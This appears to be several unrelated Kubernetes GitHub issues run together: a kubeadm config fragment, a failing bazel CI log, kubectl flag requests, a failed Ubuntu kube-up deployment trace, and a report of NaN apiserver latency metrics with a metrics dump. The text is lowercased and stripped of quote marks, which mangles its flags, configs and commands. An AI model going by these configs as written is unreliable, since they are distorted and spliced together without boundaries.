0s\r       syncperiod: 30s\r     ipvs:\r       minsyncperiod: 0s\r       scheduler: \ \ \r       syncperiod: 30s\r     metricsbindaddress: 172.21.1.227:10249\r     mode: \ \ \r     nodeportaddresses: null\r     oomscoreadj: -999\r     portrange: \ \ \r     resourcecontainer: /kube-proxy\r     udpidletimeout: 250ms\r kubeletconfiguration: {}\r kubernetesversion: v1.10.2\r networking:\r   dnsdomain: service.kubernetes.tamama.london\r   podsubnet: 10.244.0.0/16\r   servicesubnet: 10.96.0.0/12\r nodename: london-node-227\r privilegedpods: false\r token: \ \ \r tokengroups:\r - system:bootstrappers:kubeadm:default-node-token\r tokenttl: 0s\r tokenusages:\r - signing\r - authentication\r unifiedcontrolplaneimage: \ \ \r \r

https://github.com/kubernetes/kubernetes/blob/5d8f6ed4524abac65357e0095395c25634f83cea/pkg/cloudprovider/providers/azure/azure_loadbalancer.go\r \r floatingip   should    disabled when front port is deffrent from backend port

   / \r    \r i0608 15:49:50.952  +++ running case: verify.bazel \r i0608 15:49:50.954  +++ working dir: /go/src/k8s.io/kubernetes\r i0608 15:49:50.956  +++ command: bash \ hack/make-rules/../../hack/verify-bazel.sh\ \r w0608 15:49:59.974  ../../internal/repos/remote.go:29:2: cannot find package \ golang.org/x/tools/go/vcs\  in any of:\r w0608 15:49:59.975  \t/tmp/tmp.qzapzqqrf1/go/src/github.com/bazelbuild/bazel-gazelle/vendor/golang.org/x/tools/go/vcs  vendor tree \r w0608 15:49:59.975  \t/usr/local/go/src/golang.org/x/tools/go/vcs  from $goroot \r w0608 15:49:59.975  \t/tmp/tmp.qzapzqqrf1/go/src/golang.org/x/tools/go/vcs  from $gopath \r w0608 15:49:59.981  !!!  0608 15:49:59  call tree:\r w0608 15:49:59.983  !!!  0608 15:49:59   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r w0608 15:49:59.988  !!!  0608 15:49:59  call tree:\r w0608 15:49:59.990  !!!  0608 15:49:59   1: ./hack/update-bazel.sh:34 kube::util::go_install_from_commit ... \r i0608 15:50:01.032  +++ exit code: 1\r i0608 15:50:01.038  +++ error: 1\r i0608 15:50:01.065  failed   verify-bazel.sh\t11s\r    \r \r no prs can be merged into release-1.10. see https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/64848/pull-kubernetes-verify/94899/?log log\r \r similar issue: https://github.com/kubernetes/kubernetes/issues/60730\r \r /cc @ixdy

unfortunately, not even  pod/pod-name  is supported which makes using  kubectl exec  in scripts very annoying.\r \r @kubernetes/sig-cli-feature-requests \r

os: ubuntu 14.04 lts commit ab68ce9676aa88c0a5dfea9033f8634f546cc257  trying to deploy to two hosts  master+minion and minion .  after password request       sudo  password to start master:       i'm getting a weird message  without debug=true :      connection to kube-master closed. deploying master and node on machine kube-master failed      could not find a reason despite turning on debug.  config.sh:       !/bin/bash    copyright 2015 the kubernetes authors.     licensed under the apache license, version 2.0  the \ license\  ;   you may not use this file except in compliance with the license.   you may obtain a copy of the license at         http://www.apache.org/licenses/license-2.0     unless required by applicable law or agreed to in writing, software   distributed under the license is distributed on an \ as is\  basis,   without warranties or conditions of any kind, either express or implied.   see the license for the specific language governing permissions and   limitations under the license.     contains configuration values for the ubuntu cluster    define all your cluster nodes, master node comes first\    and separated with blank space like <user_1@ip_1> <user_2@ip_2> <user_3@ip_3> export nodes=${nodes:-\ vcap@kube-master vcap@kube-minion\ }    define all your nodes role: a master  or i minion  or ai both master and minion ,   roles must be the same order with the nodes. roles=${roles:-\ ai i\ }   if it practically impossible to set an array as an environment variable   from a script, so assume variable is a string then convert it to an array export roles_array= $roles     define minion numbers export num_nodes=${num_nodes:-2}   define the ip range used for service cluster ips.   according to rfc 1918 ref: https://tools.ietf.org/html/rfc1918 choose a private ip range here. export service_cluster_ip_range=${service_cluster_ip_range:-192.168.3.0/24}    formerly portal_net   define the ip range used for flannel overlay network, should not conflict with above service_cluster_ip_range    the ubuntu scripting supports two ways of networking: flannel and   cni.  to use cni:  1  put a cni configuration file, whose basename   is the configured network type plus \ .conf\ , somewhere on the driver   machine  the one running  kube-up.sh   and set cni_plugin_conf to a   pathname of that file,  2  put one or more executable binaries on   the driver machine and set cni_plugin_exes to a space-separated list   of their pathnames, and  3  set cni_kubelet_trigger to identify an   appropriate service on which to trigger the start and stop of the   kubelet on non-master machines.  for  1  and  2  the pathnames may   be relative, in which case they are relative to kubernetes/cluster.   if either of cni_plugin_conf or cni_plugin_exes is undefined or has   a zero length value then flannel will be used instead of cni.  export cni_plugin_conf cni_plugin_exes cni_kubelet_trigger cni_plugin_conf=${cni_plugin_conf:-\ \ } cni_plugin_exes=${cni_plugin_exes:-\ \ } cni_kubelet_trigger=${cni_kubelet_trigger:-networking}    flannel networking is used if cni networking is not.  the following   variable defines the cidr block from which cluster addresses are   drawn. export flannel_net=${flannel_net:-172.16.0.0/16}    optionally add other contents to the flannel configuration json   object normally stored in etcd as /coreos.com/network/config.  use   json syntax suitable for insertion into a json object constructor   after other field name:value pairs.  for example:   flannel_other_net_config=', \ subnetmin\ : \ 172.16.10.0\ , \ subnetmax\ : \ 172.16.90.0\ '  export flannel_other_net_config flannel_other_net_config=''    admission controllers to invoke prior to persisting objects in cluster   if we included resourcequota, we should keep it at the end of the list to prevent incremeting quota usage prematurely. export admission_control=namespacelifecycle,limitranger,serviceaccount,securitycontextdeny,resourcequota    path to the config file or directory of files of kubelet export kubelet_config=${kubelet_config:-\ \ }    a port range to reserve for services with nodeport visibility service_node_port_range=${service_node_port_range:-\ 30000-32767\ }    optional: enable node logging. enable_node_logging=false logging_destination=${logging_destination:-elasticsearch}    optional: when set to true, elasticsearch and kibana will be setup as part of the cluster bring up. enable_cluster_logging=false elasticsearch_logging_replicas=${elasticsearch_logging_replicas:-1}    optional: when set to true, heapster, influxdb and grafana will be setup as part of the cluster bring up. enable_cluster_monitoring=\ ${kube_enable_cluster_monitoring:-true}\     extra options to set on the docker command line.  this is useful for setting   --insecure-registry for local registries. docker_opts=${docker_opts:-\ \ }    extra options to set on the kube-proxy command line.  this is useful   for selecting the iptables proxy-mode, for example. kube_proxy_extra_opts=${kube_proxy_extra_opts:-\ \ }    optional: install cluster dns. enable_cluster_dns=\ ${kube_enable_cluster_dns:-true}\    dns_server_ip must be a ip in service_cluster_ip_range dns_server_ip=${dns_server_ip:-\ 192.168.3.10\ } dns_domain=${dns_domain:-\ cluster.local\ } dns_replicas=${dns_replicas:-1}    optional: install kubernetes ui enable_cluster_ui=\ ${kube_enable_cluster_ui:-true}\     optional: enable setting flags for kube-apiserver to turn on behavior in active-dev  runtime_config=\ \     optional: add http or https proxy when download easy-rsa.   add environment variable separated with blank space like \ http_proxy=http://10.x.x.x:8080 https_proxy=https://10.x.x.x:8443\  proxy_setting=${proxy_setting:-\ \ }    optional: allows kublet/kube-api to be run in privileged mode allow_privileged=${allow_privileged:-\ false\ }  debug=${debug:-\ false\ }    add ssh_opts: add this to config ssh port ssh_opts=\ -oport=22 -ostricthostkeychecking=no -ouserknownhostsfile=/dev/null -ologlevel=error\            $ . config.sh $ debug=true kubernetes_provider=ubuntu ./kube-up.sh ... starting cluster using provider: ubuntu ... calling verify-prereqs identity added: /home/user/.ssh/id_rsa  /home/user/.ssh/id_rsa  ... calling kube-up ~/kube/kubernetes/cluster/ubuntu ~/kube/kubernetes/cluster prepare flannel 0.5.5 release ... prepare etcd 2.3.1 release ... prepare kubernetes 1.3.4 release ... done! all your binaries locate in kubernetes/cluster/ubuntu/binaries directory ~/kube/kubernetes/cluster  deploying master and node on machine kube-master make-ca-cert.sh                                                                                                                       100% 4136     4.0kb/s   00:00     easy-rsa.tar.gz                                                                                                                       100%   42kb  42.4kb/s   00:00     config-default.sh                                                                                                                     100% 5572     5.4kb/s   00:00     util.sh                                                                                                                               100%   29kb  28.9kb/s   00:00     kube-proxy.conf                                                                                                                       100%  684     0.7kb/s   00:00     kubelet.conf                                                                                                                          100%  644     0.6kb/s   00:00     kubelet                                                                                                                               100% 2158     2.1kb/s   00:00     kube-proxy                                                                                                                            100% 2233     2.2kb/s   00:00     kube-controller-manager.conf                                                                                                          100%  744     0.7kb/s   00:00     kube-apiserver.conf                                                                                                                   100%  674     0.7kb/s   00:00     kube-scheduler.conf                                                                                                                   100%  674     0.7kb/s   00:00     etcd.conf                                                                                                                             100%  709     0.7kb/s   00:00     kube-apiserver                                                                                                                        100% 2358     2.3kb/s   00:00     etcd                                                                                                                                  100% 2073     2.0kb/s   00:00     kube-scheduler                                                                                                                        100% 2360     2.3kb/s   00:00     kube-controller-manager                                                                                                               100% 2672     2.6kb/s   00:00     reconfdocker.sh                                                                                                                       100% 2082     2.0kb/s   00:00     kube-apiserver                                                                                                                        100%  105mb  17.4mb/s   00:06     etcdctl                                                                                                                               100%   14mb   6.8mb/s   00:02     flanneld                                                                                                                              100%   16mb  15.8mb/s   00:01     etcd                                                                                                                                  100%   16mb  15.9mb/s   00:01     kube-scheduler                                                                                                                        100%   56mb  14.1mb/s   00:04     kube-controller-manager                                                                                                               100%   95mb  11.9mb/s   00:08     kubelet                                                                                                                               100%  103mb  17.1mb/s   00:06     flanneld                                                                                                                              100%   16mb  15.8mb/s   00:01     kube-proxy                                                                                                                            100%   48mb   9.7mb/s   00:05     flanneld.conf                                                                                                                         100%  577     0.6kb/s   00:00     flanneld                                                                                                                              100% 2121     2.1kb/s   00:00     flanneld.conf                                                                                                                         100%  568     0.6kb/s   00:00     flanneld                                                                                                                              100% 2131     2.1kb/s   00:00     + source /home/vcap/kube/util.sh ++ set -e ++ ssh_opts='-ostricthostkeychecking=no -ouserknownhostsfile=/dev/null -ologlevel=error -c' ++ master= ++ master_ip= ++ node_ips= + setclusterinfo + node_ips= + local ii=0 + create-etcd-opts kube-master + cat + create-kube-apiserver-opts 192.168.3.0/24 namespacelifecycle,limitranger,serviceaccount,securitycontextdeny,resourcequota 30000-32767 kube-master false + cat + create-kube-controller-manager-opts kube-master,kube-minion + cat + create-kube-scheduler-opts + cat + create-kubelet-opts kube-master kube-master 192.168.3.10 cluster.local '' false '' + ' ' -n '' ' ' + cni_opts= + cat + create-kube-proxy-opts kube-master kube-master '' + cat + create-flanneld-opts 127.0.0.1 kube-master + cat + flannel_other_net_config= + sudo -e -p ' sudo  password to start master: ' -- /bin/bash -ce '       set -x       cp ~/kube/default/  /etc/default/       cp ~/kube/init_conf/  /etc/init/       cp ~/kube/init_scripts/  /etc/init.d/        groupadd -f -r kube-cert        debug=true ~/kube/make-ca-cert.sh \ kube-master\  \ ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local\        mkdir -p /opt/bin/       cp ~/kube/master/  /opt/bin/       cp ~/kube/minion/  /opt/bin/        service etcd start       if true; then flannel_net=\ 172.16.0.0/16\  kube_config_file=\ ./../cluster/../cluster/ubuntu/config-default.sh\  docker_opts=\ \  ~/kube/reconfdocker.sh ai; fi       '  sudo  password to start master:  + cp /home/vcap/kube/default/etcd /home/vcap/kube/default/flanneld /home/vcap/kube/default/kube-apiserver /home/vcap/kube/default/kube-controller-manager /home/vcap/kube/default/kubelet /home/vcap/kube/default/kube-proxy /home/vcap/kube/default/kube-scheduler /etc/default/ + cp /home/vcap/kube/init_conf/etcd.conf /home/vcap/kube/init_conf/flanneld.conf /home/vcap/kube/init_conf/kube-apiserver.conf /home/vcap/kube/init_conf/kube-controller-manager.conf /home/vcap/kube/init_conf/kubelet.conf /home/vcap/kube/init_conf/kube-proxy.conf /home/vcap/kube/init_conf/kube-scheduler.conf /etc/init/ + cp /home/vcap/kube/init_scripts/etcd /home/vcap/kube/init_scripts/flanneld /home/vcap/kube/init_scripts/kube-apiserver /home/vcap/kube/init_scripts/kube-controller-manager /home/vcap/kube/init_scripts/kubelet /home/vcap/kube/init_scripts/kube-proxy /home/vcap/kube/init_scripts/kube-scheduler /etc/init.d/ + groupadd -f -r kube-cert + debug=true + /home/vcap/kube/make-ca-cert.sh kube-master ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local + cert_ip=kube-master + extra_sans=ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local + cert_dir=/srv/kubernetes + cert_group=kube-cert + mkdir -p /srv/kubernetes + use_cn=false + ' ' kube-master == _use_gce_external_ip_ ' ' + ' ' kube-master == _use_aws_external_ip_ ' ' + ' ' kube-master == _use_azure_dns_name_ ' ' + sans=ip:kube-master +    -n ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local    + sans=ip:kube-master,ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local ++ mktemp -d -t kubernetes_cacert.xxxxxx + tmpdir=/tmp/kubernetes_cacert.zlgngk + trap 'rm -rf \ ${tmpdir}\ ' exit + cd /tmp/kubernetes_cacert.zlgngk + ' ' -f /home/vcap/kube/easy-rsa.tar.gz ' ' + ln -s /home/vcap/kube/easy-rsa.tar.gz . + tar xzf easy-rsa.tar.gz + cd easy-rsa-master/easyrsa3 + ./easyrsa init-pki ++ date +%s + ./easyrsa --batch --req-cn=kube-master@1470840489 build-ca nopass + ' ' false = true ' ' + ./easyrsa --subject-alt-name=ip:kube-master,ip:kube-master,ip:192.168.3.1,dns:kubernetes,dns:kubernetes.default,dns:kubernetes.default.svc,dns:kubernetes.default.svc.cluster.local build-server-full kubernetes-master nopass + rm -rf /tmp/kubernetes_cacert.zlgngk connection to kube-master closed. deploying master and node on machine kube-master failed

i'm constantly using two flags which have no shorthand  and by constantly i mean typing them many times a day each day :\r \r  -  --context \r  -  --namespace \r \r can we have  -c  for  --context  and  -n  for  --namespace ? or may be even support another notation like:\r \r     $ kubectl   context  namespace  command ...\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : metrics\r \r ---\r \r   bug report  :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:36:33z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1298.7.0\r version_id=1298.7.0\r build_id=2017-03-31-0215\r pretty_name=\ container linux by coreos 1298.7.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :  linux ip-172-31-1-171.eu-central-1.compute.internal 4.9.16-coreos-r1  1 smp fri mar 31 02:07:42 utc 2017 x86_64 intel r  xeon r  cpu e5-2670 v2 @ 2.50ghz genuineintel gnu/linux \r -   install tools  :  kubernetes-on-aws  https://github.com/zalando-incubator/kubernetes-on-aws \r -   others  :\r \r \r   what happened  :\r \r since upgrading our clusters from v1.5.5 to v1.6.1 we no longer get any metrics for list pods percentiles:\r \r    \r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.5\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.9\ } nan\r apiserver_request_latencies_summary{resource=\ pods\ ,verb=\ list\ ,quantile=\ 0.99\ } nan\r    \r \r and we are listing pods, so i would expect data:\r    \r apiserver_request_count{client=\ kubectl/v1.6.0  linux/amd64  kubernetes/fff5156\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ list\ } 80\r    \r graph showing no data after upgrading to v1.6.1  different colors are just different kube-apiserver pods .\r ! 2017-04-11-121906_5760x1080_scrot  https://cloud.githubusercontent.com/assets/128566/24904620/531a5700-1eb1-11e7-9442-c469fe72f76c.png \r \r \r \r   what you expected to happen  :\r \r i expect to get a real value for the latencies summary.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r we see it in multiple clusters, but i'm not able to reproduce in minikube for instance, but i'm not sure what could be a relevant difference for this issue to occur.\r \r this is how we run the apiserver: \r https://github.com/zalando-incubator/kubernetes-on-aws/blob/dev/cluster/userdata-master.yaml l288-l311\r \r \r   anything else we need to know  :\r \r i found  44233  prometheus/prometheus 860  which might be related, but what i don't understand is that it changed after upgrading to v1.6.1, we still do about the same number of calls to the api, so i would expect similar values for the metric.\r \r fwiw other metrics also has the value  nan , but i didn't look too closely into those.\r <details>\r  <summary>all metrics.</summary>\r   help admission_quota_controller_adds total number of adds handled by workqueue: admission_quota_controller\r   type admission_quota_controller_adds counter\r admission_quota_controller_adds 16\r   help admission_quota_controller_depth current depth of workqueue: admission_quota_controller\r   type admission_quota_controller_depth gauge\r admission_quota_controller_depth 0\r   help admission_quota_controller_queue_latency how long an item stays in workqueueadmission_quota_controller before being requested.\r   type admission_quota_controller_queue_latency summary\r admission_quota_controller_queue_latency{quantile=\ 0.5\ } nan\r admission_quota_controller_queue_latency{quantile=\ 0.9\ } nan\r admission_quota_controller_queue_latency{quantile=\ 0.99\ } nan\r admission_quota_controller_queue_latency_sum 176\r admission_quota_controller_queue_latency_count 16\r   help admission_quota_controller_work_duration how long processing an item from workqueueadmission_quota_controller takes.\r   type admission_quota_controller_work_duration summary\r admission_quota_controller_work_duration{quantile=\ 0.5\ } nan\r admission_quota_controller_work_duration{quantile=\ 0.9\ } nan\r admission_quota_controller_work_duration{quantile=\ 0.99\ } nan\r admission_quota_controller_work_duration_sum 78708\r admission_quota_controller_work_duration_count 16\r   help apiserver_request_count counter of apiserver requests broken out for each verb, api resource, client, and http response contenttype and code.\r   type apiserver_request_count counter\r apiserver_request_count{client=\ apache-httpclient/4.5.2  java/1.8.0_121 \ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ get\ } 22\r apiserver_request_count{client=\ apache-httpclient/4.5.2  java/1.8.0_121 \ ,code=\ 200\ ,contenttype=\ text/plain\ ,resource=\ pods\ ,verb=\ get\ } 25\r apiserver_request_count{client=\ apache-httpclient/4.5.2  java/1.8.0_121 \ ,code=\ 201\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ post\ } 1\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ connect\ } 8\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ application/octet-stream\ ,resource=\ services\ ,verb=\ connect\ } 3\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ application/x-javascript\ ,resource=\ services\ ,verb=\ connect\ } 2\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ image/png\ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ text/css; charset=utf-8\ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ browser\ ,code=\ 200\ ,contenttype=\ text/html; charset=utf-8\ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ browser\ ,code=\ 301\ ,contenttype=\ \ ,resource=\ services\ ,verb=\ connect\ } 1\r apiserver_request_count{client=\ go-http-client/1.1\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ ingresses\ ,verb=\ list\ } 87143\r apiserver_request_count{client=\ go-http-client/1.1\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ get\ } 2.7014e+06\r apiserver_request_count{client=\ httpie/0.9.9\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 303\r apiserver_request_count{client=\ clm/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ list\ } 25\r apiserver_request_count{client=\ clm/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 195\r apiserver_request_count{client=\ clm/v1.6.1  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 10\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ services\ ,verb=\ proxy\ } 36\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ configmaps\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ daemonsets\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ deployments\ ,verb=\ get\ } 16\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ deployments\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ events\ ,verb=\ list\ } 16\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ horizontalpodautoscalers\ ,verb=\ list\ } 5\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ jobs\ ,verb=\ list\ } 3\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ watch\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ get\ } 3\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ watch\ } 20\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ replicasets\ ,verb=\ get\ } 5\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ replicasets\ ,verb=\ list\ } 10\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ replicationcontrollers\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 3\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ statefulsets\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ thirdpartyresources\ ,verb=\ list\ } 2\r apiserver_request_count{client=\ dashboard/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ text/plain\ ,resource=\ pods\ ,verb=\ get\ } 1\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ namespaces\ ,verb=\ watch\ } 2\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ nodes\ ,verb=\ watch\ } 6\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ pods\ ,verb=\ watch\ } 2\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ namespaces\ ,verb=\ watch\ } 151\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ nodes\ ,verb=\ watch\ } 440\r apiserver_request_count{client=\ heapster/v0.0.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ pods\ ,verb=\ watch\ } 144\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ namespaces\ ,verb=\ watchlist\ } 5\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watch\ } 3\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ nodes\ ,verb=\ watchlist\ } 13\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watch\ } 1\r apiserver_request_count{client=\ heapster/v1.4.0  linux/amd64  kubernetes/$format\ ,code=\ 200\ ,contenttype=\ application/json\ ,resource=\ pods\ ,verb=\ watchlist\ } 4\r apiserver_request_count{client=\ hyperkube/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ list\ } 4\r apiserver_request_count{client=\ hyperkube/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ services\ ,verb=\ watch\ } 3\r apiserver_request_count{client=\ hyperkube/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ endpoints\ ,verb=\ watchlist\ } 15\r apiserver_request_count{client=\ hyperkube/v1.5.5+coreos.0  linux/amd64  kubernetes/e2cd771\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf;stream=watch\ ,resource=\ services\ ,verb=\ watchlist\ } 37\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterrolebindings\ ,verb=\ get\ } 6\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterrolebindings\ ,verb=\ list\ } 1\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterrolebindings\ ,verb=\ put\ } 6\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ clusterroles\ ,verb=\ get\ } 9\r apiserver_request_count{client=\ hyperkube/v1.6.1+coreos.0  linux/amd64  kubernetes/9212f77\ ,code=\ 200\ ,contenttype=\ application/vnd.kubernetes.protobuf\ ,resource=\ 